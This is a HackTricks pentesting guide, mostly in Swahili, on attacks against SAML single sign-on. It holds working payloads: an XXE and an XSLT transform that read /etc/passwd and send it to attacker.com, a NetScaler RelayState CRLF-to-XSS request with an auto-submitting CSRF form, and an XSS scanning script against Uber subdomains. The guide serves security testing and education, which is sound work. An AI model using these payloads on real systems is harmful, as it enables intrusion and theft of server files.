Shambulizi za SAML

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Maelezo ya Msingi

SAML Basics

Zana

SAMLExtractor: Zana inayoweza kupokea URL au orodha ya URL na kurudisha SAML consume URL.

XML round-trip

Katika XML sehemu iliyosainiwa ya XML inaokolewa kwenye kumbukumbu, kisha encoding/decoding fulani hufanywa na saini inakaguliwa. Kimsingi encoding/decoding hiyo haipaswi kubadilisha data, lakini kwa kuzingatia senario hiyo, data inayokaguliwa na data ya awali inaweza kuwa tofauti.

Kwa mfano, angalia msimbo ufuatao:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au toleo la awali kungeleta matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hivi ndivyo REXML ilivyomuona hati ya awali ya XML kutoka kwa programu hapo juu:

Na hivi ndivyo ilivyomuona baada ya mzunguko wa parsing na serialization:

Kwa habari zaidi kuhusu udhaifu na jinsi ya kuutumia:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

Katika XML Signature Wrapping attacks (XSW), adversaries wanatumia udhaifu unaotokea wakati hati za XML zinapoproseswa kupitia hatua mbili tofauti: signature validation na function invocation. Shambulio hizi zinahusisha kubadilisha muundo wa hati ya XML. Hasa, attacker huingiza forged elements ambazo hazivunji uhalali wa XML Signature. Ubadilishaji huu unalenga kuunda tofauti kati ya vipengele vinavyochambuliwa na application logic na vile vinavyokaguliwa na signature verification module. Matokeo yake, wakati XML Signature inabaki kuwa halali kitaalamu na kupitisha uthibitisho, application logic inashughulikia fraudulent elements. Kwa hivyo, attacker kwa ufanisi anavuka ulinzi wa integrity protection na origin authentication wa XML Signature, na kuweza kuingiza arbitrary content bila kugunduliwa.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

• Mkakati: Elementi mpya ya mzizi yenye Signature imeongezwa.
• Madhara: Validator anaweza kuchanganyikiwa kati ya halali “Response -> Assertion -> Subject” na “evil new Response -> Assertion -> Subject” ya attacker, jambo linalesababisha matatizo ya integriti ya data.

XSW #2

• Tofauti na XSW #1: Inatumia detached signature badala ya enveloping signature.
• Madhara: Muundo “evil”, kama ule wa XSW #1, unalenga kudanganya business logic baada ya ukaguzi wa integriti.

XSW #3

• Mkakati: An evil Assertion imetengenezwa kwa kiwango sawa cha hierarchical na assertion asilia.
• Madhara: Inalenga kuchanganya business logic kutumia data yenye madhara.

XSW #4

• Tofauti na XSW #3: Assertion ya asili inakuwa child ya duplicated (evil) Assertion.
• Madhara: Kama XSW #3 lakini hubadilisha muundo wa XML kwa njia ya kushambulia zaidi.

XSW #5

• Sifa ya Kipekee: Wala Signature wala Assertion ya asili havifuati usanidi wa kawaida (enveloped/enveloping/detached).
• Madhara: Assertion iliyokopwa inainua Signature, ikibadilisha muundo unaotarajiwa wa hati.

XSW #6

• Mkakati: Uingizaji mahali sawa kama XSW #4 na #5, lakini na ujitoaji.
• Madhara: Assertion iliyokopwa inainua Signature, kisha Signature inainua Assertion ya asili, ikitengeneza muundo wa nested wa udanganyifu.

XSW #7

• Mkakati: Elementi ya Extensions inaingizwa na Assertion iliyokopwa kama child.
• Madhara: Hii inatumia schema isiyo kali ya Extensions ili kupita njia za kuzuia schema validation, hasa katika maktaba kama OpenSAML.

XSW #8

• Tofauti na XSW #7: Inatumia elementi nyingine isiyo kali ya XML kwa aina nyingine ya shambulio.
• Madhara: Assertion ya asili inakuwa child ya elementi isiyo kali, ikirudisha muundo uliotumika katika XSW #7.

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Zana

Unaweza pia kutumia kiongezi cha Burp SAML Raider ili kuunda POC kutoka kwa ombi la SAML kwa ajili ya kujaribu uwezekano wa udhaifu wa XXE na udhaifu wa SAML.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa maelezo zaidi kuhusu XSLT nenda kwa:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) zinaweza kutumiwa kubadilisha hati za XML kuwa muundo mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba mabadiliko ya XSLT hufanywa kabla ya uhakiki wa sahihi ya kidijitali. Hii ina maana kwamba shambulio linaweza kufanikiwa hata bila sahihi halali; sahihi iliyojiwekea saini mwenyewe (self-signed) au isiyo halali inatosha kuendelea.

Hapa unaweza kupata POC ya kukagua aina hizi za udhaifu; kwenye ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Chombo

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion inachunguza tabia za utekelezaji wa SAML wakati element ya Signature haipo. Ikiwa element hii inakosekana, uthibitishaji wa Signature huenda haufanyiki, na hivyo kufanya mfumo kuwa nyeti. Inawezekana kujaribu hili kwa kubadilisha yaliyomo ambayo kawaida yanathibitishwa na signature.

Chombo

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. Kwa kufanya hivyo zote Signature elements zinaondolewa.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking ni mbinu ya kujaribu ikiwa Service Provider (SP) inathibitisha ipasavyo kwamba SAML Message imesainiwa na Identity Provider (IdP) anayeaminika. Inahusisha kutumia *self-signed certificate kusaini SAML Response au Assertion, jambo ambalo husaidia kutathmini mchakato wa uthibitisho wa uaminifu kati ya SP na IdP.

How to Conduct Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

1. Shika (intercept) SAML Response.
2. Ikiwa response ina signature, tuma certificate kwa SAML Raider Certs ukitumia kitufe cha Send Certificate to SAML Raider Certs.
3. Katika tab ya SAML Raider Certificates, chagua certificate iliyopakiwa na bonyeza Save and Self-Sign kutengeneza clone inayojisaini yenyewe ya certificate ya asili.
4. Rudi kwa request iliyokamatwa katika Burp’s Proxy. Chagua certificate mpya inayojisaini kutoka kwenye dropdown ya XML Signature.
5. Ondoa signatures zilizopo kwa kitufe cha Remove Signatures.
6. Saini message au assertion kwa certificate mpya ukitumia kitufe cha (Re-)Sign Message au (Re-)Sign Assertion, kama inavyofaa.
7. Tuma mbele message iliyosainiwa. Iwapo uthibitishaji utafanikiwa inaonyesha kuwa SP inakubali messages zilizosasishwa na self-signed certificate yako, na hivyo kuonyesha potential vulnerabilities katika mchakato wa uthibitisho wa SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion na Service Provider Target Confusion zinahusisha kukagua kama Service Provider inathibitisha ipasavyo recipient aliyepewa kusubiri wa response. Kwa kifupi, Service Provider inapaswa kukataa authentication response ikiwa ilikusudiwa kwa provider tofauti. Kipengele muhimu hapa ni uwanja wa Recipient, ulio ndani ya element ya SubjectConfirmationData ya SAML Response. Uwanja huu unaainisha URL inayobainisha wapi Assertion inapaswa kutumwa. Ikiwa recipient halisi haendani na Service Provider aliyedhamiriwa, Assertion inapaswa kuchukuliwa kuwa batili.

Jinsi Inavyofanya Kazi

Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liwezekane, masharti fulani yanapaswa kukutana. Kwanza, lazima kuwe na akaunti halali kwenye Service Provider (inayejulikana kama SP-Legit). Pili, Service Provider lengwa (SP-Target) inapaswa kukubali tokens kutoka kwa Identity Provider ile ile inayohudumia SP-Legit.

Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halali kinaanzishwa na SP-Legit kupitia Identity Provider inayoshirikiwa. SAML Response kutoka kwa Identity Provider kwenda SP-Legit inakamatwa. SAML Response hii iliyokamatwa, iliyoanzishwa kwa SP-Legit, kisha inaelekezwa tena kwa SP-Target. Mafanikio ya shambulio haya hupimwa kwa SP-Target kukubali Assertion, na kutoa ufikiaji kwa rasilimali chini ya jina la akaunti ile ile iliyotumika kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika utendaji wa Logout

Utafiti wa awali unaweza kupatikana kupitia kiungo hiki.

Wakati wa mchakato wa directory brute forcing, ukurasa wa logout uligunduliwa kwenye:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Unapofungua kiungo hiki, kulitokea uelekezaji kwenda:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

This revealed that the base parameter accepts a URL. Considering this, the idea emerged to substitute the URL with javascript:alert(123); in an attempt to initiate an XSS (Cross-Site Scripting) attack.

Mass Exploitation

From this research:

The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Baadhi ya SAML SSO endpoints hu-decode RelayState kisha huirudisha kwenye response bila sanitization. Ikiwa unaweza kuingiza newlines na kuandika upya response Content-Type, unaweza kulazimisha browser ku-render HTML inayodhibitiwa na mshambuliaji, ukipata reflected XSS.

• Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
• Inafanya kazi hata wakati RelayState inakuwa base64-decoded server-side: toa base64 inayofungua kuwa header/body injection.

Generalized steps:

1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>

2. URL-encode the sequence (example):

%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E

3. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

4. Tuma POST yenye SAMLResponse ambayo ni syntactically valid na RelayState iliyoundwa kwenda SSO endpoint (mfano, /cgi/logout).
5. Peleka kwa CSRF: mwenyeji ukurasa unaojituma wenyewe (auto-submits) cross-origin POST kwa target origin ukiwa umejumuisha fields zote mbili.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Mfano wa utoaji wa CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Kwa nini inafanya kazi: seva inachanganua RelayState na kuiingiza kwenye jibu kwa njia inayoruhusu newline injection, ikimruhusu attacker kuathiri headers na body. Kulazimisha Content-Type: text/html kunasababisha kivinjari kuonyesha attacker-controlled HTML kutoka kwenye body ya jibu.

Marejeo

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
• Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.